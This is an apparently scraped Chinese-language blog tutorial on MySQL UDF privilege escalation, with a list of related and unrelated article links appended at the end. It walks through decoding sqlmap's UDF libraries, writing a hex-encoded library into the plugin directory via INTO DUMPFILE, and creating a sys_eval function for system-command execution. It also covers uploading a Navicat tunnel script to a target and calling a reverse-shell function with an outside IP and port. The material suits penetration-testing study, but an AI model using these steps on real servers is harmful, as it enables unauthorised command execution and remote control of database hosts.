MySQL UDF 提权
概述
UDF 全称 User Defind Function(用户自定义函数),用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用,就像调用本机函数 version () 一样方便。
UDF 提权是通过这样的方法来实现获取对方主机的system的shell权限,从而达到提权的目的。
要实现 UDF 提权需要有一个动态链接库文件
- 如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数,该目录默认是不存在的,需要找到 MySQL 的安装目录。
- 如果是 MySQL < 5.1 的版本,需要把 UDF 的动态链接库文件放置于 C:\Windows\System32。
复现
实验环境
MySQL 5.7.28
PHPstudy
MacOS
获取动态链接库
SQLMap 的udf提权动态链接库
sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。
可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py ,解码方法如下:python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so
Metasploit 的udf提权动态链接库
寻找插件目录
接下来需要把 UDF 的动态链接库文件放到 MySQL 的插件目录下,可以使用如下的 SQL 语句来查询插件目录:
show variables like '%plugin%';
如果不存在 plugin_dir 的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹。
查看安装目录的方法:
select @@basedir;
写入动态链接库
前提条件
SQL 注入且是高权限
secure_file_priv 无限制
plugin 目录可写
查询:show variables like ‘%secure%’
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5 之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
修改方法:在my.ini,查找secure_file_priv。
- 1 存在,修改为secure_file_priv=。
- 2 不存在,则在[mysqld]下,新增secure_file_priv=。
这个时候就可以直接使用 sqlmap 来上传动态链接库,又因为 GET 有字节长度限制,所以往往 POST 注入才可以执行这种攻击。
将 动态链接库 读取为 HEX,
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
windows环境下使用.dll文件。
然后再写入到插件目录。
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.dll';
成功写入到插件目录。
创建函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
执行命令
攻击者可以利用 udf.dll 提供的函数执行系统命令。
可以看到通过自定义函数已经获取到了最高系统权限。
通过 drop function sys_eval;
可以删除创建的函数。
Navicat通过隧道连接内网MySQL
将Navicat自带的ntunnel_mysql
脚本上传到目标服务器上
然后使用 http 隧道即可建立连接。
反弹Shell
上传一个支持反弹shell的动态链接库 udf.dll
mysql> CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
mysql> select backshell("192.168.12.1",6677);
MySQL UDF 提权相关推荐
- Windows与Linux的MYSQL UDF提权分析
原理分析 什么是UDF 所谓UDF 就是user define function的简称,就是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database( ...
- mysql udf提权_MySQL日志安全分析技巧
常见的数据库攻击包括弱口令.SQL注入.提升权限.窃取备份等.对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源. 0x01 Mysql日志分析 general query log ...
- mysql udf提权_mysql——udf提权
01 前言 udf = 'user defined function',即'用户自定义函数'.文件后缀为'.dll',常用c语言编写. 通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执 ...
- mysql udf提权hex_Mysql_UDF提权
Mysql_UDF提权 作者:admin 发布于:2013-5-25 18:55 Saturday 分类:MYSQL Root权限 一.上传udf.dll 小于mysql5.1版本 C:\\WINDO ...
- Mysql udf提权靶场-vulnhub Raven2
文章目录 前言 一.udf提权介绍 udf介绍 如何使用udf进行提权 二.信息收集 主机探测 nmap扫描 /etc/hosts配置 dirb扫描后台 /vendor 三.getshell 利用CV ...
- MYSQL UDF提权
在学MYSQL的时候刚刚好看到了这个提权,很久之前用过别人现成的,但是一直时间没去细想, 这次就自己复现学习下. 0x00 UDF 什么是UDF? UDF (user defined function ...
- MySQL UDF提权执行系统命令
目录 UDF UDF提权步骤 使用MSF进行UDF提权 UDF提权复现(php环境) UDF UDF (user defined function),即用户自定义函数.是通过添加新函数,对MySQL的 ...
- mysql udf提权原理_udf提权原理详解
0x00-前言 这个udf提权复现搞了三天,终于搞出来了.网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路.下面就来总结一下我的理解. 想要知道udf提权是怎么回事,首先要先知道ud ...
- mysql udf提权_三分钟解析postgresql提权
本头条号所分享文章仅供学习交流,请勿非法使用! 近期遇到一些关于提权的问题,和大家分享一下~ 创建环境 介绍 docker中有一个COPY命令: COPY 在 PostgreSQL表和标准文件系统文件 ...
最新文章
- monty python-网易云音乐
- 【高可用HA】Apache (2) —— Mac下安装多个Apache Tomcat实例
- 常用事务代码 sap_SAP_PS_事务代码
- 外部集成 网页制作_外部服务的集成测试
- 技术员联盟win11系统64位专业版镜像v2021.08
- 3.SpringBoot+Redis
- vue 指令 v-on 事件修饰符-鼠标事件-什么是事件冒泡
- opencv-api draw
- curl命令php,php生成curl命令行的方法
- 死在路上的创业者们:如何跨越市场推广之坎?
- Day3-字符串-数组-正则表达式
- 表单构建html的页面代码,网页设计表单制作代码 制作一个很简单网页表单代码...
- java docx4j 目录,1、带你一起拥有docx4j
- [ROS2 基础] 仿真系统和搭建方法
- 目前我国网络安全人才市场状况
- uniapp 小程序端上传并压缩图片
- java: 不兼容的类型: java.lang.Long无法转换为java.lang.Intege
- 计算机主板上的命名,电脑主板常见命名规则整理:微星;华硕;技嘉
- linux技术基础教程 [转载]
- ji计算机内存不足怎么回事,Win7提示内存不足的原因及应对措施
热门文章
- 转载:Vsphere 出现 “ XXX esx.problem.hyperthreading.unmitigated.formatOnHost not found XXX”的解决方案
- 移动端APP闪退的主要原因总结
- 数据库日常之修改MySQL数据库密码的方法
- seo采集,网站seo免费采集,seo采集方法技巧
- 点云全局配准复现——Super4pcs实现
- 计算机按键音乐文爱,CG/贺敬轩《文爱》[FLAC/MP3-320K]
- 酷我音乐linux版本,酷我音乐盒的 Gtk/Linux 实现 – v2.5 版本发布
- 布斯(booth)乘法详解和例子
- anaconda is not fount
- idea的maven中出现target文件不完整或者“class not found“ 或 “test not fount“